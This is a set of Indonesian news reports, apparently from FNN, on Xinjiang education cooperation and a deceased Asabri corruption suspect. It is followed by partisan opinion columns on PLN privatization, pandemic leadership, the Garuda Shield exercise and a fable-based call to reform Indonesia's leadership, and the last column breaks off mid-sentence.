Beijing, FNN - Pemerintah Daerah Otonomi Xinjiang, China, tertarik dengan kerja sama bidang pendidikan Islam yang ditawarkan Kedutaan Besar RI di Beijing "Tawaran ini menarik bagi mereka untuk dipertimbangkan," kata Atase Pendidikan, Kebudayaan, Riset dan Teknologi KBRI Beijing Yaya Sutarya kepada ANTARA di Beijing, Sabtu. Dalam kunjungannya ke Xinjiang pada 21-27 Juli lalu, dia menawarkan program tersebut kepada Dewan Penasihat Partai Komunis China (CPC) Komite Xinjiang, Xu Hairong. "Kerja sama ini melengkapi kerja sama investasi dan perdagangan yang sudah lama terjalin antara Indonesia dan China," kata Yaya. Apalagi, lanjut dia, kerja sama bidang pendidikan Indonesia dengan China lebih banyak dengan perguruan tinggi di wilayah selatan, tengah, dan timur. KBRI Beijing belum pernah menjalin kerja sama bidang pendidikan dengan perguruan tinggi yang berada di wilayah barat laut, seperti Xinjiang dan Provinsi Gansu, yang banyak dihuni oleh etnis minoritas Muslim Uighur dan Hui tersebut. "Kalau kerja sama dengan Xinjiang bisa direalisasikan, maka akan ada pertukaran pelajar Islam di Xinjiang dengan para santri di Indonesia. Kerja sama ini bisa ditindaklanjuti sebagai kerja sama antarperguruan tinggi atau pondok pesantren," ujarnya. Dalam kunjungan itu, Yaya sempat mendatangi kampus Institut Agama Islam Xinjiang (XII) di Kota Urumqi dan bertemu dengan rektor sekaligus Ketua Asosiasi Islam China (CIA) Xinjiang Abdur Raqib Tursuniyaz. XII memiliki delapan cabang di beberapa kota lain di Xinjiang dan telah meluluskan ribuan pelajar. Di antara para pengajar XII merupakan warga etnis Uighur lulusan sejumlah perguruan tinggi di Timur Tengah. "Nantinya kami juga akan beri beasiswa untuk pelajar Xinjiang yang hendak melanjutkan belajar agama Islam di Indonesia," kata Yaya. Juru bicara Pemerintah Daerah Otonomi Xinjiang Ilijan Anayat mendampingi Yaya mengunjungi beberapa kota, yakni Kashgar, Yili, dan Urumqi. "Kami antar bertemu warga Uighur, mengunjungi masjid, gereja, kuil, dan industri," ujarnya dalam pengarahan pers di Beijing, Jumat (30/7). Melalui kunjungan tersebut, Ilijan berharap masyarakat Indonesia bisa memahami situasi di Xinjiang secara objektif. "Apalagi yang kami ajak keliling kemarin adalah seorang atase pendidikan sehingga kunjungan itu akan berdampak positif terkait Xinjiang dalam hubungan bilateral China dan Indonesia," ujarnya. (sws)

Ilham Siregar Tersangka Asabri Meninggal Dunia

Jakarta, FNN - Kejaksaan Agung RI mengumumkan telah meninggal-nya Ilham Wardhana Siregar (IWS) yang merupakan satu dari sembilan tersangka dugaan tindak pidana korupsi pengelolaan keuangan dan dana investasi di PT Asabri (Persero). "Inna lillahi wa inna illahi roji’un telah berpulang ke rahmatullah, Ilham Wardhana Siregar (IWS), hari ini Sabtu 31 Juli 2021 pukul 17:28 WIB di Rumah Sakit An-Nisa Tangerang, karena sakit," bunyi keterangan pers Pusat Penerangan Hukum Kejaksaan Agung RI yang diterima Sabtu malam. Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejaksaan Agung RI Leonard Eben Ezer Simanjuntak, dalam keterangan pers tersebut menyebutkan, pada 1 Februari 2021, Ilham Wardhana Siregar selaku Kadiv Investasi PT Asavri (Persero) periode Juli 2012 sampai dengan Januari 2017 ditetapkan sebagai tersangka dalam perkara dugaan tindak pidana korupsi dalam pengelolaan keuangan dan dana investasi oleh PT Asabri (Persero) pada beberapa perusahaan periode tahun 2012 sampai dengan 2019, oleh Tim Jaksa Penyidik pada Direktorat Penyidikan Jaksa Agung Muda Bidang Tindak Pidana Khusus (JAM PIDSUS) Kejaksaan Agung. Setelah berkas perkara tersangka Ilham Wardhana Siregar dinyatakan lengkap (P-21) oleh Tim Jaksa Peneliti, pada 28 Mei 2021 lalu, tanggung jawab tersangka dan barang bukti (Tahap II) diserahkan kepada Tim Jaksa Penuntut Umum pada Direktorat Penuntutan Jaksa Agung Muda Bidang Tindak Pidana Khusus dan dari Kejaksaan Negeri Jakarta Timur. "Setelah itu dilakukan penahanan oleh Jaksa Penuntut Umum di Rumah Tahanan Negara Salemba Cabang Kejaksaan Negeri Jakarta Selatan," kata Leonard. Dalam keterangan pers tersebut, Leonard menyebutkan, dengan meninggalnya almarhum Ilham Wardhana Siregar, Kepala Kejaksaan Negeri Jakarta Timur akan segera menerbitkan Surat Ketetapan Penghentian Penuntutan (SKPP) setelah menerima Surat keterangan kematian yang dikeluarkan oleh pihak Rumah Sakit An-Nisa Tangerang. Saat ditanya lebih lanjut terkait meninggal-nya Ilham Wardhan Siregar karena apa, dan apakah selama masa penahan pernah dibantarkan, Leonard belum menjawab pertanyaan wartawan yang disampaikan lewat pesan instans grup wartawan Kejaksaan Agung. Kini tersangka kasus dugaan tindak pidana korupsi di PT Asabri tersisa delapan orang, yakni Dirut PT Asabri periode 2011 sampai dengan Maret 2016 Mayjen Purn. Adam Rachmat Damiri, Dirut PT Asabri periode Maret 2016-Juli 2020 Letjen Purn. Sonny Widjaja, Direktur Keuangan PT Asabri periode Oktober 2008-Juni 2014 Bachtiar Effendi, serta Direktur PT Asabri periode 2013—2014 dan 2015—2019 Hari Setiono. Berikutnya, Dirut PT Prima Jaringan Lukman Purnomosidi, dan Direktur PT Jakarta Emiten Investor Relation Jimmy Sutopo, Dirut PT Hanson International Tbk. Benny Tjokrosaputro, dan Komisaris PT Trada Alam Minera Heru Hidayat. Penyidik Jampidsus Kejagung telah melimpahkan berkas tahap II kedelapan tersangka kepada Jaksa Penuntut Umum Kejaksaan Negeri Jakarta Timur, dan segera akan naik ke persidangan. Baru-baru ini, jaksa penyidik Kejaksaan Agung telah menetapkan sebanyak 10 perusahaan manajer investasi sebagai tersangka dalam kasus mega korupsi yang merugikan negara Rp22,78 triliun. (sws)

Nawa Cita dan Penghancuran PLN

Oleh Ahmad Daryoko (Koordinator INVEST) DARI siaran pers SP PLN-PP IP- SP PJB , Selasa 27 Juli 2021 lewat zoom, dapat disimpulkan bahwa pemerintah akan "menghabisi" instalasi PLN pembangkitan Jawa -Bali dari sisa 10% yang masih ada sejak 2020. Ini sesuai hasil Seminar pada 22 Juli PP IP dan SP PJB). Sehingga di masa yang akan datang, paling lama tahun depan, PLN hanya menguasai transmisi dan distribusi alias "jaga tower" listrik. Sejak saat itu kawasan Jawa-Bali sudah secara total dikuasai Huadian, GE, Shenhua serta BUMN non-PLN yang otomatis akan berlangsung kompetisi penuh kelistrikan atau apa yang disebut sebagai MBMS (Multi Buyer and Multi Seller) System. Atau mengikuti kemauan pihak penyandang dana seperti WB,ADB, IMF (group IFIs) dan Bank of China dalam konsep yg dinamakan "The Power Sector Restructuring Program" (PSRP). Dengan demikian hilanglah kedaulatan kelistrikan NKRI. Perlu dijelaskan bahwa di kawasan Jawa-Bali yang rata-rata perhari butuh daya 30.000 MW, PLN masih sharing sekitar 3000 MW (atau sekitar 10%) perhari yang berasal dari PLTA dan PLTGU. Sedang sekitar 17.000 MW pembangkit PLN lainnya "mangkrak" karena instruksi Menteri BUMN (Tempo 14 Des 2019, Jawa Pos 16 Mei 2020). Kebijakan lanjut agar PLN tidak memiliki pembangkit di Jawa-Bali maka rencananya, pertama geothermal akan diserahkan ke Pertamina. Kedua, PLTU-PLTU akan dibikin BUMN terpisah dan dilakukan IPO dengan strategic sales. Perlu juga diperhatikan bahwa pertama PLTA akan diserahkan ke perusahaan BUMN Jasa Tirta (PJT) seperti Jatiluhur dan lainnya. Kedua, PLTGU (Pusat Listrik Tenaga Gas dan Uap) akan di relokasi ke luar Jawa-Bali sebagai persiapan "unbundling horisontal" Jawa Bali - Luar Jawa Bali sesuai konsep PSRP. Ketiga, PLN Pusat Pengatur Beban (P2B) di Cinere akan dijadikan lembaga independen yang berfungsi sebagai pengatur sistem dan pengatur pasar kelistrikan. Keempat, akan dibentuk Badan Pengawas Pasar Ketenagalistrikan (BAPETAL). Poin ketiga dan keempat merupakan bagian dari konsep PSRP. Dengan demikian tidak ada lagi pembangkit PLN di Jawa-Bali. PLN selanjutnya hanya sebagai "penjaga tower" dan P2B juga lepas dari PLN menjadi Lembaga Independen. Sehingga Jawa-Bali sudah sepenuhnya "unbundling vertikal". Semua ini melawan putusan MK No. 001-021-022/PUU-I/2003 tgl 15 Desember 2004 dan putusan MK No. 111/PUU-XIII/2015 tgl 14 Desember 2016 ! Dengan fakta-fakta ini maka bisa disimpulkan bahwa Nawa Cita hanya berhenti sebagai "jargon kosong" alias "bullshit". Ini terjadi karena ideologi ethatisme (yang ada di Pancasila dan UUD 1945) sebagai implementasi kehadiran negara di tengah rakyat "diplintir" menjadi "bancakan PLN" di tengah rakyat yang disponsori Jusuf Kalla, Luhut Pandjaitan, Erick Tohir, dan Dahlan Iskan. Ideologi "Ethatisme" sebagai ruh Pancasila dan UUD 1945, berubah menjadi ideologi liberal dengan jargon "siapa kuat dia yang menang " Rakyat cukup nonton, "mlongo" dan harap-harap cemas menunggu kenaikan listrik berlipat. Bagi yang tidak kuat bayar listrik silahkan siap-siap pakai lilin, teplok, oncor, upet dan sejenisnya. Karena negara hanya tinggal nama tanpa makna.

Menguji Ketangguhan Pemimpin di Era Pandemi

Oleh Tony Rosyid (Pengamat Politik dan Pemerhati Bangsa) PANDEMI Itu nyata. Mengenai hal ini, sudahlah gak usah berdebat. Soal ada oknum pejabat yang bancaan (korupsi) bansos, rebutan bisnis vaksin, dan sejumlah orang yang "aji mumpung" menjadikan pandemi sebagai lahan "cuan" itu soal lain. Itu urusan negara yang harus menertibkan. Aksi para oknum ini tidak akan merubah data dan fakta covid yang telah membunuh 50 ribu lebih penduduk Indonesia. Tingginya angka penyebaran telah membuat pemerintah kewalahan. Sejumlah upaya telah dilakukan, dari PSBB hingga relaksasi, dari PPKM Darurat hingga PPKM ber-level. Hasilnya belum maksimal. Fakta ini menuntut evaluasi semua pihak, terutama stakeholders. Dalam hal ini adalah pemerintah. Pandemi yang telah menelan nyawa dan memporakporandakan ekonomi negara akan menjadi ujian bagi seorang pemimpin. Baik presiden maupun kepala daerah. Saat pandemi, setiap pemimpin akan dihadapkan pada dilema, antara nyawa rakyat dengan ekonomi. Di sini akan dilihat apakah pemimpin itu bisa mengambil keputusan yang tepat dan akurat di tengah dilema yang sedang dihadapi. Ketangguhan seorang pemimpin dalam menghadapi covid ini akan dilihat dari pertama, kemampuannya memahami persoalan covid ini. Pemimpin dituntut untuk memiliki pandangan yang akurat, sehingga mampu melakukan antisipasi. Ibarat musuh, virus harus benar-benar dikenali. Tentang tabiatnya, penyebarannya dan bagaimana cara virus itu menyerang mangsanya. Sebab, jika salah mengenalinya, keputusan menjadi tidak tepat, dan nyawa rakyat jadi bulan-bulanan. Seorang pemimpin itu pemegang tongkat perintah. Otoritas ada di tangannya. Di sini, Pemimpin ambil tanggung jawab. Jika salah membuat keputusan, negara dan rakyat jadi taruhan. Dan keputusan hanya akan tepat jika pemimpin berhasil mengidentifikasi persoalan secara akurat. Kedua, lihat bagaimana seorang pemimpin membuat keputusan. Mengalahkan covid, atau dihancurkan oleh covid. Dari sini kita akan mengukur data secara obyektif. Hebatnya seorang pemimpin bukan dilihat dari lihainya berkampanye, tapi diukur dari kemampuannya membuat perubahan dan menyelesaikan masalah. Ketika pandemi menjadi persoalan serius seperti saat ini, maka lebih mudah untuk mengukur kapasitas dan kompetensi seorang pemimpin. Ketiga, konsistensi kebijakan. Jika pemahaman berubah-berubah, dan kebijakan sering sekali gonta ganti, ini menunjukkan dilema belum bisa diatasi. Jika ini terjadi, kecil kemungkinan setiap keputusan yang diambil akan efektif. Ketangguhan seorang pemimpin justru terukur ketika ia mampu keluar dari situasi dilematis. Dan ini butuh konsistensi. Boomberg merilis daftar ketahanan Covid-19, dari yang terbaik sampai yang terburuk di dunia. Yang terbaik itu Norwegia, Swiss, lalu disusul Selandia Baru. Yang terburuk? Indonesia. Ini tamparan buat kita bersama. Beberapa pekan ini, ada rata-rata 1.300 kematian setiap hari. Sementara vaksinasi baru 11,9 persen. Apakah ini karena faktor anggaran untuk Covid-19 yang minim yaitu 5,41 persen dari PDB? Bukankah anggaran covid di 2021 sudah ditambah? Dari 699,43 T menjadi 477,75 T. Meski anggaran covid sudah ditambah, tapi pandemi belum nampak turun secara signifikan. Indonesia diprediksi akan menjadi negara terakhir yang keluar dari pandemi. Mungkin mengecualikan Jakarta. Vaksinasi di Jakarta sudah lebih dari target. Harusnya Agustus mencapai angka 7,5 juta. Angka itu sudah dicapai di bulan Juli. Jumlah terinveksi di Jakarta sudah sangat melandai. Dari 113 ribu menjadi 19 ribu. Hanya butuh waktu dua pekan. DKI Jakarta memang terlihat paling konsen sejak informasi covid menyebar ke sejumlah negara. Sebelum covid masuk ke Indonesia, Jakarta sudah membuat tim kajian dan penanganan virus. Ini langkah antisipatif yang saat itu sangat diperlukan. Bahkan di awal covid masuk Indonesia, Jakarta mengusulkan kepada pemerintah pusat untuk lockdown. Hanya saja, saat itu banyak pihak yang belum menganggap covid ini masalah serius, sehingga usulan DKI ditolak. Sudah hampir 1,5 tahun, covid menyebar di Indonesia dan memakan banyak korban nyawa. Nasi sudah jadi bubur. Covid telah merajalela menemukan mangsanya. Satu persatu rakyat mati. Sejumlah tokoh dan agamawan mati. Lebih dari 400 dokter dan nakes mati. Covid tak juga berhenti memburu mangsanya. Ini menjadi tantangan dan ujian tersendiri, khususnya bagi setiap pemimpin untuk menunjukkan ketangguhannya di hadapan rakyat. Faktor kenapa Indonesia dianggap paling buruk dalam penanganan covid, ini bukan semata-semata karena soal anggaran. Penyebab utamanya ada dua. Pertama, karena tidak menjadikan data sebagai referensi dan pijakan serius dalam mengambil keputusan. Sehingga, sering telat mengantisipasi. Kedua, Indonesia tidak kunjung keluar dari dilema. Berada di antara nyawa dan ekonomi. Akhir-akhir ini, politik ikut menambah unsur dilema itu. Peralihan PPKM Darurat ke PPKM Level, lebih karena faktor politik. Saat PPKM Darurat, gejolak sosial terjadi di berbagai wilayah. Penyebab utamanya karena rakyat lapar. Diubahlah PPKM Darurat ke PPKM Level. Padahal, penyebaran covid masih sangat tinggi. Disinilah tampak pemerintah merubah kebijakan PPKM demi ketahanan politik. Saatnya keluar dari jebakan dilema. Gimana caranya? Prioritaskan kesehatan. Utamakan keselamatan nyawa rakyat. Ambil risiko ekonomi untuk sementara waktu. Tentu melalui perhitungan yang matang. "Uang bisa dicari, tapi nyawa tak bisa dibeli". Rakyat secara umum tidak keberatan PSBB atau PPKM. Mau apa aja istilahnya, rakyat setuju. Tapi, mereka harus tetap hidup. Satu-satunya jalan, kasih makan. 300 ribu sebulan, gak bakal cukup. Rakyat pasti berontak. Akibatnya, PSBB dan PPKM tidak optimal. Negara gak boleh pelit kalau itu untuk menyelamatkan nyawa rakyat. Toh, kalau nyawa selamat, ekonomi juga akan aman. Semua ini bergantung pada pemimpinnya.

Cina Gerah, Istana Gelisah

By M Rizal Fadillah LATIHAN Bersama "Garuda Shield"' adalah latihan rutin tahunan antara US Army dengan TNI AD bahkan tahun ini adalah Latihan Bersama ke lima belas. Adanya ketegangan Laut China Selatan sebagai wujud perlawanan negara kawasan atas klaim kepemilikan China membuat Latihan Bersama ini menjadi istimewa. Meski secara resmi bisa dibantah akan tetapi realitas politik berbicara sendiri bahwa Latihan Bersama yang melibatkan 2.282 personil AS ini adalah tekanan kepada negara China dan sahabatnya. Indonesia sendiri yang sedang berakrab-akrab dengan RRC akan terdampak oleh agresivitas Amerika Serikat. Sederhananya China gerah Istana gelisah. GERAH Pada saat Menlu AS Mike Pompeo datang ke Indonesia Oktober 2020 lalu, Duta Besar China untuk Indonesia Ciao Qian "ngamuk" mengecam kedatangan Pompeo dengan menyatakan "Pompeo melakukan serangan dan provokasi hubungan Tiongkok-Indonesia serta telah mengganggu perdamaian dan stabilitas kawasan. Tiongkok menentang keras hal ini". Lebih lanjut Qian menegaskan "AS adalah provokator 'Perang Dingin Baru' yang meningkatkan 'revolusi berwarna' di berbagai belahan dunia. AS juga secara brutal mengintervensi urusan negara lain, bahkan tidak segan menggunakan perang dan mendatangkan malapetaka dunia". Demikian gerahnya China atas kedatangan Menlu AS. Kini bukan lagi seorang Menlu yang datang, tetapi dua ribu lebih pasukan Angkatan Darat Amerika yang datang untuk latihan perang bersama AS-Indonesia. Terbesar dalam sejarah dan berlokasi di tiga pulau yaitu Sumatera, Kalimantan, dan Sulawesi. Ditambah dengan Menteri Pertahanan AS Lloyd Austin yang berkeliling ke negara Filipina, Vietnam, dan Thailand serta armada laut Inggris, Jepang, dan Australia yang telah bergerak di Laut Cina Selatan, maka semua itu membuat China semakin gerah lagi. GELISAH Istana diduga kuat gelisah atas Latihan Bersama "Garuda Shield" 2021 ini. Lho bukankah perhatian AS yang besar hingga mengirim pasukan terbesar dalam sejarah ini membanggakan TNI AD dan Pemerintah Indonesia ? Iya untuk TNI AD tidak untuk Pemerintah. Masalahnya adalah Istana Jokowi sudah "diduduki" oleh China dengan persahabatan yang luar biasa erat. Bahkan Luhut Panjaitan "sang penentu" telah diangkat China sebagai Koordinator China-Indonesia. Ketum PDIP juga secara khusus mengucapkan selamat ulang tahun kepada Partai Komunis China (PKC). Garuda Shield sangat mengganggu kenyamanan Istana. Jokowi akan kena damprat China atas ketidakmampuan mengendalikan Angkatan Darat. Indonesia dianggap bermain dua kaki. Walaupun sebenarnya Jokowi memang tidak punya kaki. Tidak berwibawa dan tidak mendapat dukungan rakyat secara signifikan. Oligarkhi nya diisi oleh orang yang hanya gemar memburu rente dan penjilat murahan. Pengaju proposal untuk proyek berkelas receh. Istana gelisah karena dihimpit multi masalah. Dikejar-kejar bayar hutang tiap kuartal, ekonomi macet total, penanganan pandemi yang serba salah, pelanggaran HAM yang terus menuntut penuntasan, perlawanan kekuatan umat Islam yang merasa terzalimi, serta kini kekuatan global yang tidak memihak pada Jokowi dan oligarkhinya. China dipastikan akan mengecam dan mengancam karena merasa terkhianati. Terbayang marahnya China kepada janji dan jaminan sukses kerjasama. Investasi sudah besar, hutang sudah banyak, agenda OBOR menjanjikan, apalagi pemindahan Ibu Kota Negara ke Kalimantan yang dapat menjadi proyek besar China. Praktis "kerjasama super erat" untuk membangun blok atau poros menjadi berantakan. Kehadiran Amerika Serikat yang diterima dan menguat tentu akan sangat mengganggu dan bisa saja mengacaukan. China tersakiti. China akan mempersulit dan mungkin dengan bengis menagih. Investor kabur atau ditarik kembali. Sembilan naga disuruh menyemburkan api dari mulutnya untuk memperkeruh ekonomi. Ujungnya kepercayaan kepada Jokowi rontok karena merasa dikibuli. Jokowi hilang kekuatan, sempoyongan, dan jatuh. Di tengah maraknya seruan agar Jokowi mengundurkan diri, memang mempertimbangkan adalah langkah bijaksana. Meskipun masih akan meninggalkan masalah yang berat akan tetapi mundur adalah lebih baik daripada maju tak gentar menabrak etika, norma dan realita. Istana bertumpuk dosa. Selamat berlatih "Garuda Shield-2021". Biarlah jika China gerah atau Istana gelisah. Yang penting Garuda harus terlindungi dan dapat tetap tegak berdiri, lalu terbang bebas merdeka di udara dengan mengepakkan sayapnya. *) Pemerhati Politik dan Kebangsaan

Menata Ulang Indonesia

Oleh Dr Masri Sitanggang SULIT untuk mengatakan bahwa Indonesia dalam keadaan baik-baik saja. Indonesia, dari segi mana pun dalam Ipoleksosbudhankam, sedang digerogoti penyakit yang mendorong negeri ini pada situasi sangat mengkhawatirkan. Mudah-mudahan saja imaginasi Peter W Singer, di novel Ghost Fleet (2015), tidak terjadi. Khalayan Singer yang sempat menjadi trending topic di awal-awal 2018 itu, semoga tetap sebuah khayalan : Indonesia tidak akan bubar di tahun 2030, bahkan tidak untuk selamanya. Tapi memang, bila berkaca pada Pembukaan UUD 1945, keadaan sekarang ini sebagai pepatah “jauh panggang dari api”. Atau, ibarat sebuah tulisan dengan judul bombastis tapi isinya kosong : tidak ada apa-apanya. Seperti “koran Kuning” pada masa sebelum era digital. Kita pun malu menenteng koran itu, karena ia menggambarkan kelas sosial rendahan. Kelas masyarakat pemimpi yang rindu untuk menikmati hiburan pelepas penat setelah kerja seharian. Bayangkan, Pembukaan UUD 1945 menggambarkan satu bangsa yang gagah dengan tekad kuat membangun bangsanya untuk berdiri tegak, tampil di tengah gelanggang dunia untuk memainkan peran menghapus penjajahan di atas dunia dan ikut melaksanakan ketertiban dunia berdasarkan kemerdekaan, perdamaian abadi dan keadilan sosial. Tetapi kenyataannya, sudah 76 tahun merdeka, jangankan tampil di pentas dunia, tegak berdiri di kaki sendiri pun sempoyongan. Para penyusun Pembukaan UUD 1945 tidaklah salah. Semangat perlawanalan –sebagai akibat sakitnya sekian lama menjadi bangsa terjajah dan kemenangan dalam perjuangan, memberi keyakinan kuat bahwa mereka bisa. Bangsa ini harus bangkit, kuat dan dapat berdiri dengan kepala tegak di hadapan bangsa-bangsa lain. Sampai di situ tugas mereka, menghantar bangsa memasuki gerbang kemerdekaan, harus diakui berhasil gemilang. Lalu, dari mana datangnya musibah ini? Tentu dari pelanjut, pewaris negeri, terutama mereka yang diberi amanah mengelola. Para pengelola kurang menghayati arti perjuangan kemerdekaan dan cita-cita Indonesia sebagaimana dituangkan dalam Pembukaan UUD 1945 oleh the founding fathers. Malah, perlahan, mereka menjelma menjadi penguasa yang merasa mewarisi segalanya tentang negeri ini : tanahnya, airnya dan apa saja yang ada di dalam isi perut buminya. Bahkan juga menguasai rakyat yang mendiami negeri ini. Mereka bermetamorfosa menjadi penjajah baru, atau mewakili negeri penjajah baru, untuk (membantu) mengeksploitasi sumber daya alam dan menindas anak negeri. Bukan sebagai nahkoda yang membawa kapal dan penumpangnya menuju labuhan hati sesuai navigasi Pembukaan UUD 1945. Mungkin ungkapan di atas terlalu menyakitkan gendang telinga. Tapi, memang sulit mencari frasa yang enak didengar –tetapi juga tidak menjadi obat penenang tidur, untuk menggambarkan situasi Indonesia saat ini. Barangkali saja lebih baik kita mengambil ilustrasi dari cerita kanak-kanak tentang kepemimpinan kodok serta semut dan bagaimana kemudian nasib negari masing-masing yang dipimpinnya. Diceritakan, ada sekumpulan kodok yang hidup di sebuah kolam terpencil. Rajanya adalah kodok yang badannya paling besar, paling gembrot. Semua kodok, apalagi yang kurus kerempeng (meski dapat melompat jauh dan tinggi ke atas pohon), tunduk pada si Gembrot yang kerjanya cuma menghabisi makanan. Si Gembrot pun puas dengan potensi dirinya yang besar dan dapat mengembang lebih besar lagi. Dengan ini, dia yakin takkan ada yang bisa menggantikannya. Satu Ketika si Gembrot, yang tahu dunia ini hanya selebar kolam itu, mendengar dari anak-anaknya yang baru saja melakukan perjalanan ke luar “negeri” kolam. Di ceritakan, anak-anak itu bertemu seekor kerbau yang tubuhnya sangat besar. Si Gembrot lalu mengembangkan tubuhnya seraya bertanya : “Apakah dia sebesar ini ?” “Tidak ayah”, lebih besar lagi”, jawab anak-anaknya “Sebesar ini ?”, tanya si Gembrot setelah memperbesar lagi tubuhnya. “Tidak ayah, lebih besar lagi”, jawab mereka lagi. “Sebesar ini?”, tanya si Gembrot lagi setelah berupaya lebih membesarkan tubuhnya dengan menyerap udara lebih banyak lagi. “Lebih besar lagi, ayah”, jawab anak-anaknya lebih keras. Begitulah terus. Kodok-kodok yang kerempeng dan yang kurus kurang gizi (karena hanya makan dari apa yang disisakan si Gembrot), yang berkerumun menyaksikan itu, mulai khawatir. Mata si Gembrot sudah nampak melotot seperti hendak keluar menahan tekanan udara di perutnya. Garis-garis pada perutnya pun sudah membayang. Lalu seekor kodok kerempeng menasehati: “Sudahlah Tuan Gembrot, tak perlu melakukan itu. Setiap makhluk punya ukurannya sendiri-sendiri dengan kelebihan dan kekurangannya masing-masing. Jangan kau paksakan dirimu.” Nasehat si Kerempeng diamini oleh kodok-kodok lain. “Ya, menghirup dan menahan udara di laur batas kemampuan kita akan berbahaya, “ sambung si Cungkring pula. Tapi nasehat-nasehat itu dirasakan si Gembrot sebagai penghinaan dan ancaman terhadap kekuasaannya. Dia pikir, kalau mereka percaya ada makhluk lain yang lebih besar, maka dia tidak akan menjadi penguasa lagi di kolam itu. Karena itu, dengan nada sangat marah dan berat menahan tekanan udara, ia masih paksakan lagi menambah udara ke perutnya. Sampai akhirnya : dooaar…! Perut si Gembrot meledak menyemburkan isinya. Tidak diceritakan apakah negara kodok itu kemudian bubar menyusul si Gembrot meledak. Atau malah lebih damai karena, mungkin, digantikan si Krempeng atau si Cungkring yang bijak. Pak Suparjo, guru SD-ku dulu, yang menuturkan cerita ini, cuma bilang : “Begitulah kalau pemimpin sombong, tidak pernah melihat dunia luar dan tidak pula mau mendengar nasehat; itulah makna ungkapan ‘bagai katak di bawah tempurung’”, katanya. Kalau Bahasa sekarang : tidak punya wawasan luas, atau, kurang rekreasi. Tapi yang pasti, rakyat kodok di kolam itu lega karena tidak ada lagi yang memonopoli makanan. Berbeda dengan kepemimpinan semut. Pak Suparjo, guru SD-ku dulu itu (semoga pahala ilmu yang diajarkan kepadaku terus mengalir kepada Almarhum), menceritakan bahwa raja semut mampu membagi tugas kepada rakyatnya sesuai keahlian masing-masing (istilah zaman now: right man on the right place. Raja semut membangun suasana kekeluargaan di antara rakyatnya, sehingga meski tugas mereka berbeda-beda tetapi terjalin kerjasama yang sangat harmonis. Tidak pernah ada kegaduhan sesama rakyat, meski pun penampilan fisik dan status sosial mereka berlainan. Semut hanya akan berkelahi dengan semut lain yang datang dari kerajaan lain. Meraka tidak membiarkan orang asing masuk ke wilayahnya. “Jadi, nasionalisme semut sangat luar biasa”, tegas pak Parjo –begitu kami akrab memanggilnya. (Guru SD-ku ini, selain suka berkisah tentang binatang, juga mengajar sejarah. Beliau senantiasa menanamkan semangat nasionalisme “bangga jadi Indonesia”. Pesan beliau, kita harus tetap pegang teguh semangat Sumpah Pemuda.) Satu kerajaan semut tidak pernah menggantungkan makanannya kepada kerajaan semut lain (Bahasa manusia, “gak mengandalkan import”). Mereka membangun lumbung makanan di sarang kerajaan masing-masing dengan usaha sendiri, dengan kekuatan modal dan tenaga rakyat sendiri. Dengan begitu, di musim paceklik (mungkin seperti musim ekonomi pandemi sekarang), mereka tidak kekurangan pangan. “Jadi, semut benar-benar berdaulat secara politik, wilayah, ekonomi dan pangan”, tutur Pak Parjo. Satu ketika, raja semut mendapat berita bahwa segerombolan gajah akan masuk wilayahnya untuk melahap tanaman di sekitarnya. Tentu ini mengancam sarang-sarang semut. Maka, raja semut segera mengumpulkan rakyatnya. Dia memerintahkan untuk menyongsong gerombolan gajah itu di jalan mana gajah akan datang. “Jangan sampai gerombolan gajah mencapai wilayah kita”, tegas sang raja. “Bagaimana kita bisa melawan gajah yang tubuhnya begitu besar dan kulitnya begitu tebal ?” Seekor semut, yang ternyata mewakili suara kebanyakan semut lainnya, bertanya lantang pada sang raja. “Kita memang ditakdirkan bertubuh mungil. Tetapi bukan berarti kita tidak punya kelebihan dan kemampuan. Apa yang selama ini kita lakukan dalam membangun kerajaan, adalah menunjukkan kelebihan dan kemampuan kita yang harus terus kita lakukan dalam situasi apa pun.” Kata sang raja dengan keras. Para semut faham apa yang dimaksud rajanya, yakni : kerja ulet tanpa pamrih, kerja sama harmonis antar warga kerajaan dan semangat nasionalisme membela kerajaan. “Gajah memang ditakdirkan bertubuh besar dan berkulit tebal. Tetapi bukan berarti gajah tidak punya kekurangan dan kelemahan.” Suara raja terdengar lantang. “Kelemahan gajah adalah lobang telinganya besar, belalainya panjang dengan liang yang besar pula, matanya lebar dan lembut serta jangan lupa liang duburnya pun besar. Fokuslah menyerang titik-titik lemah itu, masuklah ke dalamnya. Jadikanlah tubuh mungil kalian menjadi kekuatan sekaligus kelebihan kalian. Tak perlu menggigit kulit tebalnya.” Sang raja memberi arahan tegas. Setelah itu semut pun menyongsong gerombolan gajah. Pendek cerita, terjadilah pertempuran dan gajah pun kalah telak. Kerajaan semut aman. Begitulah arti kepemimpinan bagi kehidupan negara dan rakyat. Entahlah, pola mana yang sedang berlaku di negeri jamrud khatulistiwa ini. Yang jelas, Indonesia tidak sedang baik-baik saja. Apakah Indonesia akan mengalami nasib seperti negara kodok ? Wallahu a’lam. Tapi, bila kepemimpinan negeri ini hanya mengandalkan dukungan potensi fisik alamiah, seperti si Gembrot, kejadian itu bukan sesuatu yang mustahil. Potensi fisik alamiah si Gembrot adalah tubuh yang besar bisa mengembang. Dalam kehidupan nyata bernegara, potensi fisik alamiahnya adalah sumber daya alam dan kekayaan negara. Bukan potensi pribadi. Belum terdapat tanda-tanda adanya pemimpin negara mengorbankan milik (pribadi)nya demi mengurus negara dan rakyatnya kecuali Khulafaur Rasyadin dan Khalifah Umar Bin Abdul Aziz. jadi, yang dipertaruhkan penguasa (model si Gembrot) adalah sumber daya alam dan kekayaan negara. Jika yang di masukkan oleh si kodok ke tubuhnya adalah udara –untuk mengembang, di dunia nyata adalah investasi berupa hutang. Sebagaimana udara yang dihirup si Gembrot, hutang tidak boleh melampaui pendapatan negara; dan harus dibayar tepat pada waktunya. Kalau tidak, maka kekayaan negeri ini bisa tergadai semua dan berujung pada “doaarrr…!, meledak. Bedanya dengan si Gembrot, yang hancur adalah negara : bangkrut, perang saudara, pecah atau kembali terjajah. Penguasanya bisa tidak tergores sedikit pun karena menyelamatkan diri ke negeri tuan ! Agar republik ini tidak sampai “dooaar” meledak, perlu segera ditata ulang. Tentulah banyak agenda yang harus dilakukan. Tetapi yang pasti, yang jadi perioritas, adalah menyingkirkan pola kepemimpinan kodok dan menggantikannya dengan pola kepemimpinan semut –bila mengambil ilustrasi dunia hewan. Tanpa adanya pergantian pola kepemimpinan, kisah negeri ini akan tetap diwarnai kepedihan. Bila ingin mengambil pelajaran dari dunia nyata, maka contoh yang tepat adalah kepemimpinan Nabi Ibrahim as dan Ismail as. Mereka adalah orang-orang sholeh, yang seluruh aktivitasnya ditujukan untuk mengabdi kepada Allah. Bukan untuk memenuhi ambisi 